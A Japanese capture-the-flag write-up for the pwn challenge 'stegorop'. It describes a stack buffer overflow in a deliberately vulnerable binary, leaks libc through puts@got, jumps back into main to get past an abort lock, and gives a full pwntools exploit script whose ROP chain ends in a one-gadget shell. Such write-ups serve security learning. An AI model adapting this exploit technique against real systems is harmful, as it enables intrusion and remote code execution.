InterKosenCTF stegorop writeup

はじめに

 チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.

自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.

プログラムの概略

問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.

方針

 実行してみるとわかりますが,単純にスタックベースのBOFが存在します. libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました. 問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました. 下に示すようにmain関数終了時にlockに 1 が格納され,2度目にmain関数を呼ぶ際に 1 であると abort が発生してプログラムが終了していまいます.

f:id:m412u:20190813213309p:plain

そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました. そうすることで,ROP chainが開始し,lockを埋める 0one-gadget rceのアドレスを追加で読み込ませました.

エクスプロイトコード

from pwn import *
from sys import argv

context.log_level = "INFO"

binary = "./chall"

elf = ELF(binary)

if len(argv) >= 2 and sys.argv[1] == "r":
    p = remote("pwn.kosenctf.com", 9002)
    libc = ("./libc-2.27.so")
    PUTS_OFF = 0x809c0
else:
    p = gdb.debug(binary, '''
        break *0x400914
        break *0x4008e1
        continue
    ''')
    PUTS_OFF = 0x809c0
    
payload = b""
payload += b"A" * 112
payload += p64(0x601149+0x70)
payload += p64(0x4009b3)    # pop rdi ; ret  ;
payload += p64(0x601028)    # puts@got
payload += p64(0x400620)    # puts@plt
payload += p64(0x4005ee)    # ret ;
payload += p64(0x4008e1)    # main関数の途中
payload += p64(0x40087c)    # main関数の先頭

p.recvuntil("Input: ")
p.send(payload)

p.recvline()

puts_got = u64(p.recv(6)+b"\x00\x00")    # データの整形
log.info("puts_got: 0x{:08x}".format(puts_got))

libc_base = puts_got - PUTS_OFF
log.info("libc_base: 0x{:08x}".format(libc_base))

one_shot = libc_base + 0x4f322

payload2 = b""
payload2 += p64(0x0)
payload2 += p64(one_shot) * 0x10

p.recvuntil("Input: ")
p.send(payload2)
time.sleep(1)
p.interactive()

実行結果

f:id:m412u:20190813212320p:plain

おわりに

フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.